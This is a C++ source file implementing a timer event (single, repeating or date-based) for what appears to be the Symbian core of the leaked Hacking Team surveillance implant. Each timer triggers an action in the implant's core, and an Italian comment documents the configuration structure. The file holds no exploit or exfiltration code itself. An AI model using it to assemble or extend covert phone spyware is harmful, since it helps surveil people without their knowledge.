hackedteam/core-symbian

/*
 ============================================================================
 Name        : EventTimer.cpp
 Author      : Marco Bellino
 Version     : 1.0
 Copyright   : Your copyright notice
 Description : CEventTimer implementation
 ============================================================================
 */

#include "EventTimer.h"
#include <HT\TimeUtils.h>

typedef struct TTimerStruct
    {
    TUint32 iType;
    TUint32    iLoDelay;
    TUint32    iHiDelay;
    } TTimerStruct;

    
CEventTimer::CEventTimer(TUint32 aTriggerId) :
    CAbstractEvent(EEvent_Timer, aTriggerId)
    {
    // No implementation required
    }

CEventTimer::~CEventTimer()
    {
    __FLOG(_L("Destructor"));
    delete iTimer;
    __FLOG(_L("End Destructor"));
    __FLOG_CLOSE;
    }

CEventTimer* CEventTimer::NewLC(const TDesC8& params, TUint32 aTriggerId)
    {
    CEventTimer* self = new (ELeave) CEventTimer(aTriggerId);
    CleanupStack::PushL(self);
    self->ConstructL(params);
    return self;
    }

CEventTimer* CEventTimer::NewL(const TDesC8& params, TUint32 aTriggerId)
    {
    CEventTimer* self = CEventTimer::NewLC(params, aTriggerId);
    CleanupStack::Pop(); // self;
    return self;
    }
 
void CEventTimer::ConstructL(const TDesC8& params)
    {
    //TUint32 addr = (TUint32) (this);
    __FLOG_OPEN_ID("HT", "EventTimer.txt");
    __FLOG(_L("-------------"));
    
    BaseConstructL(params);
    iTimer = CTimeOutTimer::NewL(*this);
    //TTimerStruct* timerParams = (TTimerStruct*)iParams.Ptr();    // crash on N96
    TTimerStruct timerParams;
    Mem::Copy( &timerParams, iParams.Ptr(), sizeof(TTimerStruct));
    
    TUint64 timeMillis = timerParams.iHiDelay;
    timeMillis = timerParams.iHiDelay;
    timeMillis <<= 32;
    timeMillis += timerParams.iLoDelay;
    iSecondsInterv = (timeMillis / 1000);
    
    iTimerType = (TTimerType) timerParams.iType;

    if(iTimerType == Type_Date){
        //iTimeAt = SetSymbianTime(timeMillis);
        iTimeAt = TimeUtils::GetSymbianTime(timeMillis);
    } else {
        iTimeAt = (timeMillis*1000);
    }
    }

void CEventTimer::StartEventL()
    {
    __FLOG(_L("StartEventL"));
    __FLOG_2(_L("%d %d"), iTimerType, iSecondsInterv.Int());
    if (iTimerType != Type_Date)
        {
        iTimeAt.HomeTime();
        iTimeAt += iSecondsInterv;
        iTimer->At(iTimeAt);
        }
    else {
        // First we have to check if the date is expired
        TTime now;
        now.UniversalTime();
        if (iTimeAt <= now){
            TTimeIntervalSeconds secondsInterv = 3;
            iTimeAt.HomeTime();
            iTimeAt += secondsInterv;
            iTimer->At(iTimeAt);
        } else {
            iTimer->AtUTC( iTimeAt );
        }
    }
    // Code below is useful for debugging purposes... 
    // Uncomment to trigger the event after 1 second.
/*
#ifdef _DEBUG
    iTimerType = Type_Single;
    iTimeAt.HomeTime();
    iTimeAt += TTimeIntervalSeconds(1);
    iTimer->Cancel();
    iTimer->At( iTimeAt ); 
#endif
*/     
    }


void CEventTimer::TimerExpiredL(TAny* /*src*/)
    {
    __FLOG(_L("TimerExpiredL"));
    SendActionTriggerToCoreL();
    __FLOG(_L("EventSentL"));
    if (iTimerType == Type_Repeat)
        {
        __FLOG(_L("After"));
        iTimeAt.HomeTime();
        iTimeAt += iSecondsInterv;
        iTimer->At( iTimeAt );
        }
    }

/*
 * A filetime is a 64-bit value that represents the number of 100-nanosecond intervals 
 * that have elapsed since 12:00 A.M. January 1, 1601 Coordinated Universal Time (UTC).
 * Please also note that in defining KInitialTime the month and day values are offset from zero.
 * 
 */
/*
TInt64 CEventTimer::SetSymbianTime(TUint64 aFiletime)
{

    _LIT(KFiletimeInitialTime,"16010000:000000");

    TTime initialFiletime;
    initialFiletime.Set(KFiletimeInitialTime);

    TInt64 interval;
    interval = initialFiletime.Int64();

    TInt64 date = aFiletime/10;

    return (interval + date);
}
*/
/*
 L'EventTimer, definito nel file di configurazione dal relativo EventId, triggera l'azione ad esso associata ad intervalli di tempo prestabiliti.

 Sono disponibili tre tipi di timer:

 1. Single: il timer triggera la relativa azione una volta, dopo l'intervallo di tempo stabilito.
 2. Loop: il timer triggera la relativa azione ogni volta che si raggiunge l'intervallo di tempo stabilito.
 3. Date: il timer triggera la relativa azione alla data stabilita. 

 Parametri

 L'evento riceve, tramite la propria EventStruct, una seconda struttura cosi' definita:

 typedef struct _TimerStruct {
 UINT uType;     // Tipo di timer
 UINT Lo_Delay;  // Low Delay Part in ms
 UINT Hi_Delay;  // High Delay Part in ms
 } TimerStruct, *pTimerStruct;

 Timer Type

 I tipi di timer sono cosi' definiti:

 * CONF_TIMER_SINGLE = 0: triggera dopo n millisecondi.
 * CONF_TIMER_REPEAT = 1: triggera ogni n millisecondi.
 * CONF_TIMER_DATE = 2: triggera una volta alla data x identificata come timestamp (ovvero: Lo_Delay e Hi_Delay della TimerStruct). 
 */